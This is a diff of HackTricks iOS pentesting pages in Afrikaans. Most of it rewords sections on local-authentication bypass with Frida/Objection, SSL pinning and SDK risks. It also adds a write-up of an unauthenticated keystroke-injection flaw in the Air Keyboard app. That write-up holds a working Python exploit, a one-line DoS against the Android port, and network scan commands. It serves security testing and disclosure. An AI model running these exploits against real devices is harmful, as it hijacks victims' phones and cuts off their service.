@ -718,18 +718,18 @@ Dit is interessant om te weet dat jy sommige **crypto** **biblioteke** outomatie
|
||||
```swift
|
||||
ios monitor crypt
|
||||
```
|
||||
Vir **meer inligting** oor iOS-kodering-API's en biblioteke, toegang [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)
|
||||
Vir **meer inligting** oor iOS-kodering API's en biblioteke, toegang [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)
|
||||
|
||||
## Plaaslike Verifikasie
|
||||
|
||||
**Plaaslike verifikasie** speel 'n belangrike rol, veral wanneer dit kom by die beskerming van toegang by 'n afgeleë eindpunt deur middel van koderingmetodes. Die essensie hier is dat sonder behoorlike implementering, plaaslike verifikasiesisteme omseil kan word.
|
||||
**Plaaslike verifikasie** speel 'n belangrike rol, veral wanneer dit kom by die beskerming van toegang by 'n afgeleë eindpunt deur middel van kodering metodes. Die essensie hier is dat sonder behoorlike implementering, plaaslike verifikasie meganismes omseil kan word.
|
||||
|
||||
Apple se [**Plaaslike Verifikasie-raamwerk**](https://developer.apple.com/documentation/localauthentication) en die [**sleutelkettie**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) bied robuuste API's vir ontwikkelaars om gebruikersverifikasiedialoge te fasiliteer en veilig geheime data te hanteer, onderskeidelik. Die Veilige Enklave beveilig vingerafdruk-ID vir Touch ID, terwyl Face ID op gesigsherkenning staatmaak sonder om biometriese data in gevaar te stel.
|
||||
Apple se [**Plaaslike Verifikasie raamwerk**](https://developer.apple.com/documentation/localauthentication) en die [**sleutelkettie**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) bied robuuste API's vir ontwikkelaars om gebruikersverifikasiedialoge te fasiliteer en veilig geheime data te hanteer, onderskeidelik. Die Veilige Enklave beveilig vingerafdruk-ID vir Touch ID, terwyl Face ID op gesigsherkenning staatmaak sonder om biometriese data in gevaar te stel.
|
||||
|
||||
Om Touch ID/Face ID te integreer, het ontwikkelaars twee API-keuses:
|
||||
|
||||
- **`LocalAuthentication.framework`** vir hoëvlak gebruikersverifikasie sonder toegang tot biometriese data.
|
||||
- **`Security.framework`** vir laevlak sleutelkettiedienste toegang, wat geheime data beveilig met biometriese verifikasie. Verskeie [oopbron-wrappers](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) maak sleutelkettie toegang eenvoudiger.
|
||||
- **`Security.framework`** vir laevlak sleutelkettie dienste toegang, wat geheime data beveilig met biometriese verifikasie. Verskeie [oopbron wrappers](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) maak sleutelkettie toegang eenvoudiger.
|
||||
|
||||
> [!CAUTION]
|
||||
> egter, beide `LocalAuthentication.framework` en `Security.framework` bied kwesbaarhede, aangesien hulle hoofsaaklik booleaanse waardes teruggee sonder om data vir verifikasieprosesse oor te dra, wat hulle vatbaar maak vir omseiling (verwys na [Don't touch me that way, deur David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
|
||||
@ -738,18 +738,18 @@ Om Touch ID/Face ID te integreer, het ontwikkelaars twee API-keuses:
|
||||
|
||||
Om gebruikers vir verifikasie te vra, moet ontwikkelaars die **`evaluatePolicy`** metode binne die **`LAContext`** klas gebruik, en kies tussen:
|
||||
|
||||
- **`deviceOwnerAuthentication`**: Vra vir Touch ID of toestel se toegangskode, en faal as geen van beide geaktiveer is nie.
|
||||
- **`deviceOwnerAuthentication`**: Vra vir Touch ID of toestel wagwoord, en faal as geen een geaktiveer is nie.
|
||||
- **`deviceOwnerAuthenticationWithBiometrics`**: Vra eksklusief vir Touch ID.
|
||||
|
||||
'n Suksesvolle verifikasie word aangedui deur 'n booleaanse terugwaarde van **`evaluatePolicy`**, wat 'n potensiële sekuriteitsgebrek beklemtoon.
|
||||
'n Suksesvolle verifikasie word aangedui deur 'n booleaanse terugwaarde van **`evaluatePolicy`**, wat 'n potensiële sekuriteitsfout beklemtoon.
|
||||
|
||||
### Plaaslike Verifikasie met Sleutelkettie
|
||||
### Plaaslike Verifikasie met behulp van Sleutelkettie
|
||||
|
||||
Die implementering van **plaaslike verifikasie** in iOS-apps behels die gebruik van **sleutelkettie API's** om geheime data soos verifikasietokens veilig te stoor. Hierdie proses verseker dat die data slegs deur die gebruiker, met behulp van hul toestel se toegangskode of biometriese verifikasie soos Touch ID, toegang verkry kan word.
|
||||
Die implementering van **plaaslike verifikasie** in iOS-apps behels die gebruik van **sleutelkettie API's** om geheime data soos verifikasietokens veilig te stoor. Hierdie proses verseker dat die data slegs deur die gebruiker, met behulp van hul toestel wagwoord of biometriese verifikasie soos Touch ID, toegang verkry kan word.
|
||||
|
||||
Die sleutelkettie bied die vermoë om items met die `SecAccessControl` attribuut in te stel, wat toegang tot die item beperk totdat die gebruiker suksesvol deur Touch ID of toestel se toegangskode verifieer. Hierdie kenmerk is van kardinale belang om sekuriteit te verbeter.
|
||||
Die sleutelkettie bied die vermoë om items met die `SecAccessControl` attribuut in te stel, wat toegang tot die item beperk totdat die gebruiker suksesvol verifieer deur middel van Touch ID of toestel wagwoord. Hierdie kenmerk is van kardinale belang om sekuriteit te verbeter.
|
||||
|
||||
Hieronder is kodevoorbeelde in Swift en Objective-C wat demonstreer hoe om 'n string na/vanaf die sleutelkettie te stoor en te herwin, terwyl hierdie sekuriteitskenmerke benut word. Die voorbeelde toon spesifiek hoe om toegangbeheer op te stel om Touch ID-verifikasie te vereis en te verseker dat die data slegs op die toestel waaraan dit ingestel is, toeganklik is, onder die voorwaarde dat 'n toestel se toegangskode geconfigureer is.
|
||||
Hieronder is kodevoorbeelde in Swift en Objective-C wat demonstreer hoe om 'n string na/van die sleutelkettie te stoor en te onttrek, terwyl hierdie sekuriteitskenmerke benut word. Die voorbeelde toon spesifiek hoe om toegangbeheer op te stel om Touch ID-verifikasie te vereis en te verseker dat die data slegs op die toestel waaraan dit ingestel is, toeganklik is, onder die voorwaarde dat 'n toestel wagwoord geconfigureer is.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Swift"}}
|
||||
@ -876,7 +876,7 @@ NSLog(@"Something went wrong");
|
||||
|
||||
### Opsporing
|
||||
|
||||
Die gebruik van raamwerke in 'n app kan ook opgespoor word deur die lys van gedeelde dinamiese biblioteke van die app-binary te analiseer. Dit kan gedoen word deur `otool` te gebruik:
|
||||
Die gebruik van raamwerke in 'n app kan ook opgespoor word deur die app-binary se lys van gedeelde dinamiese biblioteke te analiseer. Dit kan gedoen word deur `otool` te gebruik:
|
||||
```bash
|
||||
$ otool -L <AppName>.app/<AppName>
|
||||
```
|
||||
@ -885,13 +885,13 @@ As `LocalAuthentication.framework` in 'n app gebruik word, sal die uitvoer beide
|
||||
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
|
||||
/System/Library/Frameworks/Security.framework/Security
|
||||
```
|
||||
If `Security.framework` gebruik word, sal slegs die tweede een vertoon word.
|
||||
If `Security.framework` word gebruik, sal slegs die tweede een vertoon word.
|
||||
|
||||
### Plaaslike Verifikasie Raamwerk Omseiling
|
||||
|
||||
#### **Objection**
|
||||
|
||||
Deur die **Objection Biometriese Omseiling**, geleë op [hierdie GitHub-bladsy](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), is 'n tegniek beskikbaar om die **LocalAuthentication** meganisme te oorkom. Die kern van hierdie benadering behels die gebruik van **Frida** om die `evaluatePolicy` funksie te manipuleer, wat verseker dat dit konsekwent 'n `True` uitkoms lewer, ongeag die werklike verifikasie sukses. Dit is veral nuttig om gebrekkige biometriese verifikasieprosesse te omseil.
|
||||
Deur die **Objection Biometrics Bypass**, geleë op [this GitHub page](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), is 'n tegniek beskikbaar om die **LocalAuthentication** meganisme te oorkom. Die kern van hierdie benadering behels die gebruik van **Frida** om die `evaluatePolicy` funksie te manipuleer, wat verseker dat dit konsekwent 'n `True` uitkoms lewer, ongeag die werklike verifikasie sukses. Dit is veral nuttig om gebrekkige biometriese verifikasieprosesse te omseil.
|
||||
|
||||
Om hierdie omseiling te aktiveer, word die volgende opdrag gebruik:
|
||||
```bash
|
||||
@ -1017,7 +1017,7 @@ burp-configuration-for-ios.md
|
||||
|
||||
### Gasheernaam kontrole
|
||||
|
||||
Een algemene probleem met die validasie van die TLS sertifikaat is om te kontroleer dat die sertifikaat deur 'n **betroubare** **CA** onderteken is, maar **nie te kontroleer** of **die gasheernaam** van die sertifikaat die gasheernaam is wat toeganklik is nie.\
|
||||
Een algemene probleem met die validasie van die TLS sertifikaat is om te kontroleer dat die sertifikaat deur 'n **betroubare** **CA** onderteken is, maar **nie te kontroleer** of **die gasheernaam** van die sertifikaat die gasheernaam is wat toeganklik is.\
|
||||
Om hierdie probleem met Burp te kontroleer, nadat jy Burp CA op die iPhone vertrou het, kan jy **'n nuwe sertifikaat met Burp vir 'n ander gasheernaam skep** en dit gebruik. As die toepassing steeds werk, dan is daar iets wat kwesbaar is.
|
||||
|
||||
### Sertifikaat Pinning
|
||||
@ -1042,20 +1042,26 @@ Jy kan ook **objection's** `ios sslpinning disable` gebruik.
|
||||
|
||||
Die ontwikkelaars kan op afstand **alle installasies van hul app onmiddellik patch** sonder om die toepassing weer in te dien by die App Store en te wag totdat dit goedgekeur is.\
|
||||
Vir hierdie doel word gewoonlik [**JSPatch**](https://github.com/bang590/JSPatch)** gebruik.** Maar daar is ook ander opsies soos [Siren](https://github.com/ArtSabintsev/Siren) en [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
|
||||
**Dit is 'n gevaarlike mechanisme wat deur kwaadwillige derdeparty SDK's misbruik kan word, daarom word dit aanbeveel om te kontroleer watter metode gebruik word vir outomatiese opdatering (indien enige) en dit te toets.** Jy kan probeer om 'n vorige weergawe van die app vir hierdie doel af te laai.
|
||||
**Dit is 'n gevaarlike mekanisme wat deur kwaadwillige derdeparty SDK's misbruik kan word, daarom word dit aanbeveel om te kontroleer watter metode gebruik word vir outomatiese opdatering (indien enige) en dit te toets.** Jy kan probeer om 'n vorige weergawe van die app vir hierdie doel af te laai.
|
||||
|
||||
### Derde Partye
|
||||
|
||||
'n Beduidende uitdaging met **3de party SDK's** is die **gebrek aan granulaire beheer** oor hul funksies. Ontwikkelaars staan voor 'n keuse: of om die SDK te integreer en al sy funksies te aanvaar, insluitend potensiële sekuriteitskwesbaarhede en privaatheidskwessies, of om die voordele daarvan heeltemal te verwerp. Dikwels is ontwikkelaars nie in staat om kwesbaarhede binne hierdie SDK's self te patch nie. Verder, soos SDK's vertroue binne die gemeenskap verkry, kan sommige begin om malware te bevat.
|
||||
'n Beduidende uitdaging met **3de party SDK's** is die **gebrek aan granulaire beheer** oor hul funksies. Ontwikkelaars staan voor 'n keuse: of om die SDK te integreer en al sy funksies te aanvaar, insluitend potensiële sekuriteitskwesbaarhede en privaatheidskwessies, of om die voordele heeltemal te verwerp. Dikwels is ontwikkelaars nie in staat om kwesbaarhede binne hierdie SDK's self te patch nie. Verder, soos SDK's vertroue binne die gemeenskap verkry, kan sommige begin om malware te bevat.
|
||||
|
||||
Die dienste wat deur derdeparty SDK's verskaf word, kan gebruikersgedragopsporing, advertensie vertonings of gebruikerservaring verbeterings insluit. Dit stel egter 'n risiko in, aangesien ontwikkelaars dalk nie ten volle bewus is van die kode wat deur hierdie biblioteke uitgevoer word nie, wat lei tot potensiële privaatheids- en sekuriteitsrisiko's. Dit is van kardinale belang om die inligting wat met derdeparty dienste gedeel word, te beperk tot wat nodig is en te verseker dat geen sensitiewe data blootgestel word nie.
|
||||
Die dienste wat deur derdeparty SDK's verskaf word, kan gebruikersgedragopsporing, advertensie vertonings of gebruikerservaring verbeterings insluit. Dit stel egter 'n risiko in, aangesien ontwikkelaars dalk nie ten volle bewus is van die kode wat deur hierdie biblioteke uitgevoer word nie, wat lei tot potensiële privaatheids- en sekuriteitsrisiko's. Dit is van kardinale belang om die inligting wat met derdeparty dienste gedeel word te beperk tot wat nodig is en te verseker dat geen sensitiewe data blootgestel word nie.
|
||||
|
||||
Die implementering van derdeparty dienste kom gewoonlik in twee vorme: 'n standalone biblioteek of 'n volledige SDK. Om gebruikersprivaatheid te beskerm, moet enige data wat met hierdie dienste gedeel word, **geanonimiseer** word om die bekendmaking van Persoonlike Identifiseerbare Inligting (PII) te voorkom.
|
||||
Die implementering van derdeparty dienste kom gewoonlik in twee vorme: 'n standalone biblioteek of 'n volledige SDK. Om gebruikersprivaatheid te beskerm, moet enige data wat met hierdie dienste gedeel word **geanonimiseer** word om die bekendmaking van Persoonlike Identifiseerbare Inligting (PII) te voorkom.
|
||||
|
||||
Om die biblioteke wat 'n toepassing gebruik te identifiseer, kan die **`otool`** opdrag gebruik word. Hierdie hulpmiddel moet teen die toepassing en elke gedeelde biblioteek wat dit gebruik, uitgevoer word om addisionele biblioteke te ontdek.
|
||||
```bash
|
||||
otool -L <application_path>
|
||||
```
|
||||
## Interessante Kwetsbaarhede & Gevalstudies
|
||||
|
||||
{{#ref}}
|
||||
air-keyboard-remote-input-injection.md
|
||||
{{#endref}}
|
||||
|
||||
## **Verwysings & Meer Hulpbronne**
|
||||
|
||||
- [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering)
|
||||
@ -1084,5 +1090,4 @@ otool -L <application_path>
|
||||
- [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
||||
- [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -0,0 +1,91 @@
|
||||
# Air Keyboard Remote Input Injection (Unauthenticated TCP Listener)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## TL;DR
|
||||
|
||||
Die iOS weergawe van die kommersiële "Air Keyboard" toepassing (App Store ID 6463187929) open 'n **duidelike teks TCP diens op poort 8888** wat toetsaanslag rame **sonder enige outentisering** aanvaar. Enige toestel op dieselfde Wi-Fi netwerk kan met daardie poort verbind en arbitrêre sleutelbordinvoer in die slagoffer se foon inspuit, wat **volledige afstandinteraksie-hijacking** bereik.
|
||||
|
||||
'n Genoot Android-bou luister op **poort 55535**. Dit voer 'n swak AES-ECB handdruk uit, maar vervaardigde rommel veroorsaak 'n **onbehandelde uitsondering in die OpenSSL ontsleuteling roetine**, wat die agtergronddiens laat crash (**DoS**).
|
||||
|
||||
## 1. Diens Ontdekking
|
||||
|
||||
Skandeer die plaaslike netwerk en soek na die twee vaste poorte wat deur die toepassings gebruik word:
|
||||
```bash
|
||||
# iOS (input-injection)
|
||||
nmap -p 8888 --open 192.168.1.0/24
|
||||
|
||||
# Android (weakly-authenticated service)
|
||||
nmap -p 55535 --open 192.168.1.0/24
|
||||
```
|
||||
Op Android-toestelle kan jy die verantwoordelike pakket plaaslik identifiseer:
|
||||
```bash
|
||||
adb shell netstat -tulpn | grep 55535 # no root required on emulator
|
||||
|
||||
# rooted device / Termux
|
||||
netstat -tulpn | grep LISTEN
|
||||
ls -l /proc/<PID>/cmdline # map PID → package name
|
||||
```
|
||||
## 2. Raamformaat (iOS)
|
||||
|
||||
Die binêre onthul die volgende ontledingslogika binne die `handleInputFrame()` roetine:
|
||||
```
|
||||
[length (2 bytes little-endian)]
|
||||
[device_id (1 byte)]
|
||||
[payload ASCII keystrokes]
|
||||
```
|
||||
Die verklaarde lengte sluit die `device_id` byte **maar nie** die twee-byte kop self in nie.
|
||||
|
||||
## 3. Exploit PoC
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
"""Inject arbitrary keystrokes into Air Keyboard for iOS"""
|
||||
import socket, sys
|
||||
|
||||
target_ip = sys.argv[1] # e.g. 192.168.1.50
|
||||
keystrokes = b"open -a Calculator\n" # payload visible to the user
|
||||
|
||||
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
|
||||
frame += b"\x01" # device_id = 1 (hard-coded)
|
||||
frame += keystrokes
|
||||
|
||||
with socket.create_connection((target_ip, 8888)) as s:
|
||||
s.sendall(frame)
|
||||
print("Injected", keystrokes)
|
||||
```
|
||||
Enige drukbare ASCII (insluitend `\n`, `\r`, spesiale sleutels, ens.) kan gestuur word, wat die aanvaller effektief dieselfde mag gee as fisiese gebruikersinvoer: om programme te begin, IM's te stuur, phishing-URL's te besoek, ens.
|
||||
|
||||
## 4. Android Companion – Denial-of-Service
|
||||
|
||||
Die Android-poort (55535) verwag 'n 4-karakter wagwoord wat geënkripteer is met 'n **hard-gecodeerde AES-128-ECB sleutel** gevolg deur 'n willekeurige nonce. Parsingsfoute beland by `AES_decrypt()` en word nie opgevang nie, wat die luisterdraad beëindig. 'n Enkele verkeerd gevormde pakket is dus genoeg om wettige gebruikers af te sluit totdat die proses weer begin word.
|
||||
```python
|
||||
import socket
|
||||
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||
```
|
||||
## 5. Wortel Oorsaak
|
||||
|
||||
1. **Geen oorsprong / integriteit kontrole** op inkomende rame (iOS).
|
||||
2. **Kryptografiese misbruik** (statische sleutel, ECB, ontbrekende lengte validasie) en **gebrek aan uitsondering hantering** (Android).
|
||||
|
||||
## 6. Versagtings & Versterking Idees
|
||||
|
||||
* Moet nooit nie-geoutentiseerde dienste op 'n mobiele toestel blootstel nie.
|
||||
* Ontleed per-toestel geheime tydens aanmelding en verifieer dit voordat invoer verwerk word.
|
||||
* Bind die luisteraar aan `127.0.0.1` en gebruik 'n wederkerig geoutentiseerde, versleutelde vervoer (bv., TLS, Noise) vir afstandbeheer.
|
||||
* Ontdek onverwagte oop poorte tydens mobiele sekuriteits hersienings (`netstat`, `lsof`, `frida-trace` op `socket()` ens.).
|
||||
* As 'n eindgebruiker: deïnstalleer Air Keyboard of gebruik dit slegs op vertroude, geïsoleerde Wi-Fi-netwerke.
|
||||
|
||||
## Opsporing Cheat-Sheet (Pentesters)
|
||||
```bash
|
||||
# Quick one-liner to locate vulnerable devices in a /24
|
||||
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}'
|
||||
|
||||
# Inspect running sockets on a connected Android target
|
||||
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done"
|
||||
```
|
||||
## Verwysings
|
||||
|
||||
- [Afgeleë Invoer Inspuitingskwesbaarheid in Air Keyboard iOS App Nog Steeds Onopgelos](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
|
||||
- [CXSecurity advies WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user